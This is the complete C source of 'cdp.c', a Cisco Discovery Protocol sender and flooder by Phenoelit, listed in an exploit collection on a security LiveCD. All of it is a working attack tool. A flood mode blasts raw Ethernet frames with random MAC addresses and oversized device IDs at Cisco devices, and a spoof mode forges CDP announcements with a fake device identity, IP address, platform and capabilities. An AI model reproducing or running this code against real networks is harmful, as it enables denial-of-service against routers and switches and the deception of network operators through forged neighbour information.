home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / cdp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  615 lines

  1. /* CDP sender/flooder
  2.  *
  3.  * FX <fx@phenoelit.de>
  4.  * Phenoelit (http://www.phenoelit.de)
  5.  * (c) 2k
  6.  *
  7.  * $Id: cdp.c,v 1.1.1.1 2005/02/12 19:45:59 loni Exp $
  8.  */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13. #include <string.h>
  14. #include <netinet/in.h>
  15. #include <rpc/types.h>
  16. #include <netdb.h>
  17. #include <sys/socket.h>
  18. #include <arpa/inet.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/tcp.h>
  21. #include <netinet/udp.h>
  22. #include <errno.h>
  23.  
  24. #include <sys/ioctl.h>
  25. #include <netinet/in.h>                 /* for IPPROTO_bla consts */
  26. #include <netpacket/packet.h>
  27. #include <net/ethernet.h>               /* to get my own ETH addr */
  28. #include <net/if.h>
  29.  
  30. #define IP_ALEN        4
  31.  
  32. /* IEEE 802.3, LLC related structs */
  33. struct eth_ieee802_3 {
  34.     struct ether_addr    daddr;
  35.     struct ether_addr    saddr;
  36.     u_int16_t        length;
  37. };
  38.  
  39. struct eth_LLC {
  40.     u_int8_t        DSAP;
  41.     u_int8_t        SSAP;
  42.     u_int8_t        Control;
  43.     u_int8_t        orgcode[3];
  44.     u_int16_t        proto;
  45. };
  46.  
  47. /* CDP header */
  48. struct cdphdr {
  49.     u_int8_t        version;
  50.     u_int8_t        ttl;
  51.     u_int16_t        checksum;
  52. };
  53.  
  54. /* CDP sections */
  55. #define TYPE_DEVICE_ID          0x0001
  56. #define TYPE_ADDRESS            0x0002
  57. #define TYPE_PORT_ID            0x0003
  58. #define TYPE_CAPABILITIES       0x0004
  59. #define TYPE_IOS_VERSION        0x0005
  60. #define TYPE_PLATFORM           0x0006
  61.  
  62. struct cdp_device {
  63.     u_int16_t        type;        /* 0x0001 */
  64.     u_int16_t        length;
  65.     u_char        device;        /* pointer to device name */
  66. };
  67.  
  68. struct cdp_address {
  69.     u_int16_t        type;        /* 0x0002 */
  70.     u_int16_t        length;
  71.     u_int32_t        number;        /* number of addresses */
  72. };
  73.  
  74. struct cdp_address_entry {
  75.     u_int8_t        proto_type;    /* 0x1 for NLPID */
  76.     u_int8_t        length;        /* 0x1 for IP */
  77.     u_int8_t        proto;        /* 0xCC for IP */
  78.     u_int8_t        addrlen[2];
  79.     u_char        addr;
  80. };
  81.  
  82. struct cdp_port {
  83.     u_int16_t        type;        /* 0x0003 */
  84.     u_int16_t        length;
  85.     u_char        port;        /* pointer to port name */
  86. };
  87.  
  88. #define CDP_CAP_LEVEL1        0x40
  89. #define CDP_CAP_FORWARD_IGMP    0x20
  90. #define CDP_CAP_NETWORK_LAYER    0x10
  91. #define CDP_CAP_LEVEL2_SWITCH    0x08
  92. #define CDP_CAP_LEVEL2_SRB    0x04
  93. #define CDP_CAP_LEVEL2_TRBR    0x02
  94. #define CDP_CAP_LEVEL3_ROUTER    0x01
  95. struct cdp_capabilities {
  96.     u_int16_t        type;        /* 0x0004 */
  97.     u_int16_t        length;        /* is 8 */
  98.     u_int32_t        capab;        
  99. };
  100.  
  101. struct cdp_software {
  102.     u_int16_t        type;        /* 0x0005 */
  103.     u_int16_t        length;        
  104.     u_char        software;    /* pointer to software string */
  105. };
  106.  
  107. struct cdp_platform {
  108.     u_int16_t        type;        /* 0x0006 */
  109.     u_int16_t        length;        
  110.     u_char        platform;    /* pointer to platform string */
  111. };
  112.  
  113. /* my config */
  114. #define DEFAULT_NUMBER    100;
  115. #define DEFAULT_LENGTH  1400;
  116. struct {
  117.     char        *device;
  118.     int            verbose;
  119.     int            mode;
  120.     /* flood mode */
  121.     unsigned long    number;
  122.     int            length;
  123.     char        floodchar;
  124.     int            floodrandom;
  125.     /* spoof mode */
  126.     char        *S_devname;
  127.     char        *S_portid;
  128.     char        *S_software;
  129.     char        *S_platform;
  130.     char        *S_capas;
  131.     struct in_addr    S_ipaddr;
  132. } cfg;
  133.  
  134. /* globals */
  135. u_char            CDP_DEST[6] = {0x1,0x0,0xC,0xCC,0xCC,0xCC};
  136. struct ether_addr    eth_my;
  137. struct in_addr        ip_my;
  138.  
  139. int            atsock;        /* attack socket */
  140. #define CDP_FRAME_SIZE    1700
  141. u_char            cdpframe[CDP_FRAME_SIZE];
  142.  
  143. /* prototypes */
  144. void    *smalloc(size_t size);
  145. int     initialize_socket(void);
  146. int     send_ethernet_frame(u_char *frame, int frame_length);
  147.  
  148. unsigned int    mk_flood_cdp(char *my_name,int nlen);
  149. unsigned int    mk_spoof_cdp();
  150. u_int16_t chksum(u_char *data, unsigned long count);
  151.  
  152. void usage(char *n);
  153.  
  154. /* ******************* MAIN ******************** */
  155.  
  156. int main(int argc,char **argv) {
  157.     char        option;
  158.     extern char        *optarg;
  159.  
  160.     unsigned int    plen;
  161.     unsigned int    i;
  162.  
  163.     /* for flooding */
  164.     int            j;
  165.     char        *devname;
  166.     struct timespec    sleeper = {0,10000};
  167.  
  168.     memset(&cfg,0,sizeof(cfg));
  169.     while ((option=getopt(argc,argv,"vi:n:l:m:c:rD:P:C:L:S:F:"))!=EOF) {
  170.     switch (option) {
  171.         /* general */
  172.         case 'v':    cfg.verbose++;
  173.             break;
  174.         case 'i':    cfg.device=smalloc(strlen(optarg));
  175.             strcpy(cfg.device,optarg);
  176.             break;
  177.         case 'm':    cfg.mode=atol(optarg);
  178.             if (cfg.mode==0) 
  179.                 printf("Running in flood mode\n");
  180.             else if (cfg.mode==1) 
  181.                 printf("Running in spoof mode\n");
  182.             else {
  183.                 printf("Mode should be 0 or 1\n");
  184.                 exit(1);
  185.                 }
  186.             break;
  187.  
  188.         /* flood mode */
  189.         case 'n':    if ((cfg.number=atol(optarg))<=0) {
  190.                 fprintf(stderr,"This number is bullshit\n");
  191.                 exit(1);
  192.             }
  193.             break;
  194.         case 'l':    if ((cfg.length=atol(optarg))<=0) {
  195.                 fprintf(stderr, "This length is bullshit\n");
  196.                 exit(1);
  197.             }
  198.             break;
  199.         case 'c':    cfg.floodchar=optarg[0];
  200.             break;
  201.         case 'r':    cfg.floodrandom++;
  202.             break;
  203.  
  204.         /* Spoof mode */
  205.         case 'D':    cfg.S_devname=(char *)smalloc(strlen(optarg)+1);
  206.             strcpy(cfg.S_devname,optarg);
  207.             break;
  208.         case 'P':    cfg.S_portid=(char *)smalloc(strlen(optarg)+1);
  209.             strcpy(cfg.S_portid,optarg);
  210.             break;
  211.         case 'C':    cfg.S_capas=(char *)smalloc(strlen(optarg)+1);
  212.             strcpy(cfg.S_capas,optarg);
  213.             break;
  214.         case 'L':    cfg.S_platform=(char *)smalloc(strlen(optarg)+1);
  215.             strcpy(cfg.S_platform,optarg);
  216.             break;
  217.         case 'S':    cfg.S_software=(char *)smalloc(strlen(optarg)+1);
  218.             strcpy(cfg.S_software,optarg);
  219.             break;
  220.         case 'F':    if (!inet_aton(optarg,&(cfg.S_ipaddr))) {
  221.                 fprintf(stderr,"source IP is invalid\n");
  222.                 exit (1);
  223.             }
  224.             break;
  225.  
  226.         /* fallback */
  227.         default:    usage(argv[0]);
  228.     }
  229.     }
  230.  
  231.     if (!cfg.device) usage(argv[0]);
  232.  
  233.     /* check command line */
  234.     if (cfg.number==0) cfg.number=DEFAULT_NUMBER;
  235.     if (cfg.length==0) cfg.length=DEFAULT_LENGTH;
  236.     if (cfg.floodchar=='\0') cfg.floodchar='A';
  237.  
  238.     if (cfg.mode==0) {
  239.     /* ******************* FLOOD MODE ***************** */
  240.     devname=(char *)smalloc(cfg.length);
  241.  
  242.     if (initialize_socket()!=0) exit(1);
  243.  
  244.     srand((unsigned int)time(NULL));
  245.     
  246.     for (i=0;i<cfg.number;i++) {
  247.  
  248.         for (j=0;j<cfg.length;j++) {
  249.         if (cfg.floodrandom) {
  250.             devname[j]=cfg.floodchar+
  251.             (int) (128.0*rand()/(RAND_MAX+1.0));
  252.         } else {
  253.             devname[j]=cfg.floodchar;
  254.         }
  255.         }
  256.         
  257.         plen=mk_flood_cdp(devname,cfg.length-1);
  258.         if (cfg.verbose) 
  259.         printf("Packet length: %d\n",plen);
  260.         send_ethernet_frame(cdpframe,plen);
  261.  
  262.         nanosleep(&sleeper,NULL);
  263.     }
  264.  
  265.     close(atsock);
  266.     
  267.     } else {
  268.     /* ******************* SPOOF MODE ***************** */
  269.     if (!((cfg.S_devname!=NULL) 
  270.             && (cfg.S_portid!=NULL)
  271.             && (cfg.S_capas!=NULL) 
  272.             && (cfg.S_platform!=NULL)
  273.             && (cfg.S_software!=NULL))) {
  274.       fprintf(stderr,"For spoofing, the following options"
  275.             " are required:\n"
  276.             "\t -D -P -C -L -S -F\n"
  277.             );
  278.         exit (1);
  279.     }
  280.  
  281.     if (cfg.verbose) 
  282.         printf("Spoofing mode with the following data:\n"
  283.             "Device ID :\t%s\n"
  284.             "IP address:\t%s\n"
  285.             "Platform  :\t%s\n"
  286.             "Capabilities:\t%s\n"
  287.             "Port ID   :\t%s\n"
  288.             "Software  :\t%s\n",
  289.             cfg.S_devname,inet_ntoa(cfg.S_ipaddr),cfg.S_platform,
  290.             cfg.S_capas,cfg.S_portid,cfg.S_software);
  291.  
  292.     /* go .. */
  293.     if (initialize_socket()!=0) exit(1);
  294.     plen=mk_spoof_cdp();
  295.     if (cfg.verbose) 
  296.         printf("Packet length: %d\n",plen);
  297.     send_ethernet_frame(cdpframe,plen);
  298.     close(atsock);
  299.     }
  300.  
  301.     return 0;
  302. }
  303.  
  304. /* returns an initialized pointer to a memory area 
  305.  *  * or hard-exits on failure */
  306. void    *smalloc(size_t size) {
  307.     void        *p;
  308.  
  309.     if ((p=malloc(size))==NULL) {
  310.         fprintf(stderr,"smalloc(): malloc failed\n");
  311.         exit (-2);
  312.     }
  313.     memset(p,0,size);
  314.     return p;
  315. }
  316.  
  317. /* opens the raw socket,
  318.  *  * RETURNS 0 on success or -1 on error */
  319. int     initialize_socket(void) {
  320.     struct ifreq        ifr;
  321.  
  322.     if ((atsock=socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)))<0) {
  323.         perror("socket()");
  324.         return (-1);
  325.     }
  326.  
  327.     /* get IP addr */
  328.     memset(&ifr,0,sizeof(ifr));
  329.     strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name));
  330.     if (ioctl(atsock, SIOCGIFADDR, &ifr) < 0 ) {
  331.         perror("ioctl()");
  332.         return (-1);
  333.     }
  334.     memcpy(&(ip_my.s_addr),
  335.             &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr,
  336.             IP_ALEN);
  337.  
  338.     /* get HW addr */
  339.     memset(&ifr,0,sizeof(ifr));
  340.     strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name));
  341.     if (ioctl(atsock, SIOCGIFHWADDR, &ifr) < 0 ) {
  342.         perror("ioctl()");
  343.         return (-1);
  344.     }
  345.     memcpy(ð_my,&ifr.ifr_hwaddr.sa_data,ETH_ALEN);
  346.  
  347.     return 0;   /* fine */
  348. }
  349.  
  350. /* send's the ethernet frame,
  351.  *  * RETURNS the number of octets send or -1 on error */
  352. int     send_ethernet_frame(u_char *frame, int frame_length) {
  353.     struct sockaddr     sa;
  354.     int                 sendBytes;
  355.  
  356.     memset(&sa,0,sizeof(sa));
  357.     strncpy(sa.sa_data,cfg.device,sizeof(sa.sa_data));
  358.  
  359.     sendBytes=sendto(atsock,frame,frame_length,0,&sa,sizeof(sa));
  360.     if (sendBytes<0) {
  361.         perror("send_ethernet_frame(): sendto");
  362.         return (-1);
  363.     } else if (sendBytes<frame_length) {
  364.         fprintf(stderr,"send_ethernet_frame(): "
  365.                 "WARNING: short send %d out off %d\n",sendBytes,frame_length);
  366.     }
  367.  
  368.     return sendBytes;
  369. }
  370.  
  371. unsigned int    mk_flood_cdp(char *my_name,int nlen) {
  372.     /* semi constants for memcpy */
  373.     u_char    my_portid[]    = "F";
  374.     
  375.     struct eth_ieee802_3    *ethh;
  376.     struct eth_LLC        *llc;
  377.     struct cdphdr        *cdph;
  378.     struct cdp_device        *cdp_dev;
  379.     struct cdp_port        *cdp_prt;
  380.     u_char            *cdp_end;
  381.     u_int16_t            cs;
  382.  
  383.     int                j;
  384.     struct ether_addr        ea;
  385.  
  386.  
  387.     memset(&cdpframe,0,sizeof(cdpframe));
  388.     
  389.     /* created random sender address */
  390.     for (j=0;j<ETH_ALEN;j++)
  391.     ea.ether_addr_octet[j]=1+(int) (255.0*rand()/(RAND_MAX+1.0));
  392.  
  393.     /* make IEEE 802.3 header */
  394.     ethh=(struct eth_ieee802_3 *)cdpframe;
  395.     memcpy(&(ethh->saddr),&ea,ETH_ALEN);
  396.     memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN);
  397.     ethh->length=0;    /* assigned later */
  398.  
  399.     /* build LLC header */
  400.     llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3));
  401.     llc->DSAP=0xAA;
  402.     llc->SSAP=0xAA;
  403.     llc->Control=0x03;    /* unnumbered */
  404.     llc->orgcode[0]=llc->orgcode[1]=0x00;
  405.     llc->orgcode[2]=0x0c;            /* cisco */
  406.     llc->proto=htons(0x2000);
  407.  
  408.     /* build cdp header */
  409.     cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC));
  410.     cdph->version=0x01;
  411.     cdph->ttl=255;        /* in seconds */
  412.     cdph->checksum=0x0000;    /* will be computed later */
  413.  
  414.     /* make a device entry */
  415.     cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr));
  416.     cdp_dev->type=htons(TYPE_DEVICE_ID);        /* 0x0001 */
  417.     cdp_dev->length=htons(nlen+2*sizeof(u_int16_t));
  418.     memcpy(&(cdp_dev->device),my_name,nlen);
  419.  
  420.     /* make CDP port entry */
  421.     cdp_prt=(struct cdp_port *)((void *)cdp_dev+(
  422.         sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
  423.         nlen));
  424.     cdp_prt->type=htons(TYPE_PORT_ID);
  425.     cdp_prt->length=htons(strlen(my_portid)+2*sizeof(u_int16_t));
  426.     memcpy(&(cdp_prt->port),&my_portid,strlen(my_portid));
  427.  
  428.     cdp_end=(void *)(((void *)cdp_prt+(
  429.         sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
  430.         strlen(my_portid))));
  431.     ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc));
  432.  
  433.     cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph));
  434.     if (cfg.verbose>2) 
  435.     printf("My checksum is %04X\n",cs);
  436.     cdph->checksum=cs;
  437.    
  438.     return ((void *)cdp_end-(void *)&cdpframe[0]);
  439. }
  440.  
  441. unsigned int    mk_spoof_cdp() {
  442.     struct eth_ieee802_3    *ethh;
  443.     struct eth_LLC        *llc;
  444.     struct cdphdr        *cdph;
  445.     struct cdp_device        *cdp_dev;
  446.     struct cdp_address        *cdp_addr;
  447.     struct cdp_address_entry    *cdp_ae;
  448.     struct cdp_port        *cdp_prt;
  449.     struct cdp_capabilities    *cdp_caps;
  450.     struct cdp_software        *cdp_soft;
  451.     struct cdp_platform        *cdp_plt;
  452.     u_char            *cdp_end;
  453.     u_int16_t            cs;
  454.  
  455.     memset(&cdpframe,0,sizeof(cdpframe));
  456.     
  457.     /* make IEEE 802.3 header */
  458.     ethh=(struct eth_ieee802_3 *)cdpframe;
  459.     memcpy(&(ethh->saddr),ð_my,ETH_ALEN);
  460.     memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN);
  461.     ethh->length=0;    /* assigned later */
  462.  
  463.     /* build LLC header */
  464.     llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3));
  465.     llc->DSAP=0xAA;
  466.     llc->SSAP=0xAA;
  467.     llc->Control=0x03;    /* unnumbered */
  468.     llc->orgcode[0]=llc->orgcode[1]=0x00;
  469.     llc->orgcode[2]=0x0c;            /* cisco */
  470.     llc->proto=htons(0x2000);
  471.  
  472.     /* build cdp header */
  473.     cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC));
  474.     cdph->version=0x01;
  475.     cdph->ttl=255;        /* in seconds */
  476.     cdph->checksum=0x0000;    /* should be computed */
  477.     
  478.     /* make a device entry */
  479.     cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr));
  480.     cdp_dev->type=htons(TYPE_DEVICE_ID);        /* 0x0001 */
  481.     cdp_dev->length=htons(strlen(cfg.S_devname)+2*sizeof(u_int16_t));
  482.     memcpy(&(cdp_dev->device),cfg.S_devname,strlen(cfg.S_devname)); 
  483.  
  484.     /* make an address entry */
  485.     cdp_addr=(struct cdp_address *)((void *)cdp_dev+(
  486.         sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
  487.         strlen(cfg.S_devname)));
  488.     cdp_addr->type=htons(TYPE_ADDRESS);
  489.     cdp_addr->length=htons(
  490.         /* address record */       /* address entry */ /*size of IPaddr-1 */
  491.         sizeof(struct cdp_address)+sizeof(struct cdp_address_entry)+3);
  492.     cdp_addr->number=htonl(0x00000001);
  493.  
  494.     /* insert our address */
  495.     cdp_ae=(struct cdp_address_entry *)((void *)cdp_addr+sizeof(struct cdp_address));
  496.     cdp_ae->proto_type=0x01;
  497.     cdp_ae->length=0x01;
  498.     cdp_ae->proto=0xCC;        /* IPv4 */
  499.     cdp_ae->addrlen[1]=0x04;
  500.     memcpy(&(cdp_ae->addr),&(cfg.S_ipaddr),IP_ALEN);
  501.  
  502.     /* make CDP port entry */
  503.     cdp_prt=(struct cdp_port *)((void *)cdp_ae+
  504.     (sizeof (struct cdp_address_entry)+3)); /* for IP fields */ 
  505.     cdp_prt->type=htons(TYPE_PORT_ID);
  506.     cdp_prt->length=htons(strlen(cfg.S_portid)+2*sizeof(u_int16_t));
  507.     memcpy(&(cdp_prt->port),cfg.S_portid,strlen(cfg.S_portid));
  508.  
  509.     /* make CDP capabilities entry */
  510.     cdp_caps=(struct cdp_capabilities *)((void *)cdp_prt+(
  511.         sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
  512.         strlen(cfg.S_portid)));
  513.     cdp_caps->type=htons(TYPE_CAPABILITIES);
  514.     cdp_caps->length=htons(0x0008);
  515.         /* I'm sorry, this is lazy and not very elegant but it works 
  516.      * and at the moment, nothing else comes to my mind ... */
  517.     cdp_caps->capab=0;
  518.     if (strchr(cfg.S_capas,'R')) 
  519.     cdp_caps->capab=CDP_CAP_LEVEL3_ROUTER;
  520.     if (strchr(cfg.S_capas,'T')) 
  521.     cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_TRBR;
  522.     if (strchr(cfg.S_capas,'B')) 
  523.     cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SRB;
  524.     if (strchr(cfg.S_capas,'S')) 
  525.     cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SWITCH;
  526.     if (strchr(cfg.S_capas,'H')) 
  527.     cdp_caps->capab=cdp_caps->capab | CDP_CAP_NETWORK_LAYER;
  528.     if (strchr(cfg.S_capas,'I')) 
  529.     cdp_caps->capab=cdp_caps->capab | CDP_CAP_FORWARD_IGMP;
  530.     if (strchr(cfg.S_capas,'r')) 
  531.     cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL1;
  532.     cdp_caps->capab=htonl(cdp_caps->capab);
  533.  
  534.     /* make CDP software version */
  535.     cdp_soft=(struct cdp_software *)((void *)cdp_caps+
  536.         sizeof(struct cdp_capabilities));
  537.     cdp_soft->type=htons(TYPE_IOS_VERSION);
  538.     cdp_soft->length=htons(strlen(cfg.S_software)+2*sizeof(u_int16_t));
  539.     memcpy(&(cdp_soft->software),cfg.S_software,strlen(cfg.S_software));
  540.  
  541.     /* make CDP platform */
  542.     cdp_plt=(struct cdp_platform *)((void *)cdp_soft+(
  543.         sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
  544.         strlen(cfg.S_software)));
  545.     cdp_plt->type=htons(TYPE_PLATFORM);
  546.     cdp_plt->length=htons(strlen(cfg.S_platform)+2*sizeof(u_int16_t));
  547.     memcpy(&(cdp_plt->platform),cfg.S_platform,strlen(cfg.S_platform));
  548.     cdp_end=(u_char *)((void *)cdp_plt+(
  549.         sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
  550.         strlen(cfg.S_platform)));
  551.  
  552.     ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc));
  553.  
  554.     cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph));
  555.     if (cfg.verbose>2) 
  556.     printf("My checksum is %04X\n",cs);
  557.     cdph->checksum=cs;
  558.    
  559.     return ((void *)cdp_end-(void *)&cdpframe[0]);
  560. }
  561.  
  562. /* returns the checksum 
  563.  * WARNING: if left over bytes are present, the memory after *data has to
  564.  * contain 0x00 series and should be part of the buffer
  565.  * -> make the buffer for data at least count+1 bytes long ! */
  566. u_int16_t chksum(u_char *data, unsigned long count) {
  567.     u_int32_t        sum = 0;
  568.     u_int16_t        *wrd;
  569.  
  570.     wrd=(u_int16_t *)data;
  571.     while( count > 1 )  {
  572.     sum = sum + *wrd;
  573.     wrd++;
  574.     count -= 2;
  575.     }
  576.  
  577.     /*  Add left-over byte, if any */
  578.     if( count > 0 ) {
  579.     if (cfg.verbose>2)
  580.         printf("Left over byte: %04X\n",((*wrd & 0xFF)<<8));
  581.     sum = sum + ((*wrd &0xFF)<<8);
  582.     }
  583.  
  584.     /*  Fold 32-bit sum to 16 bits */
  585.     while (sum>>16) {
  586.     sum = (sum & 0xffff) + (sum >> 16);
  587.     }
  588.  
  589.     return (~sum);
  590. }
  591.  
  592. void usage(char *n) {
  593.     printf(
  594.         "%s [-v] -i <interface> -m {0,1} ...\n"
  595.         "\n"
  596.         "Flood mode (-m 0):\n"
  597.         "-n <number>\tnumber of packets\n"
  598.         "-l <number>\tlength of the device id\n"
  599.         "-c <char>\tcharacter to fill in device id\n"
  600.         "-r\t\trandomize device id string\n"
  601.         "\n"
  602.         "Spoof mode (-m 1):\n"
  603.         "-D <string>\tDevice id\n"
  604.         "-P <string>\tPort id\n"
  605.         "-L <string>\tPlatform\n"
  606.         "-S <string>\tSoftware\n"
  607.         "-F <string>\tIP address\n"
  608.         "-C <capabilities>\n"
  609.         "\tthese are:\n"
  610.         "\tR - Router, T - Trans Bridge, B - Source Route Bridge\n"
  611.         "\tS - Switch, H - Host, I - IGMP, r - Repeater\n",
  612.         n);
  613.     exit(0);
  614. }
  615. /*                   www.hack.co.za   [21 September 2000]*/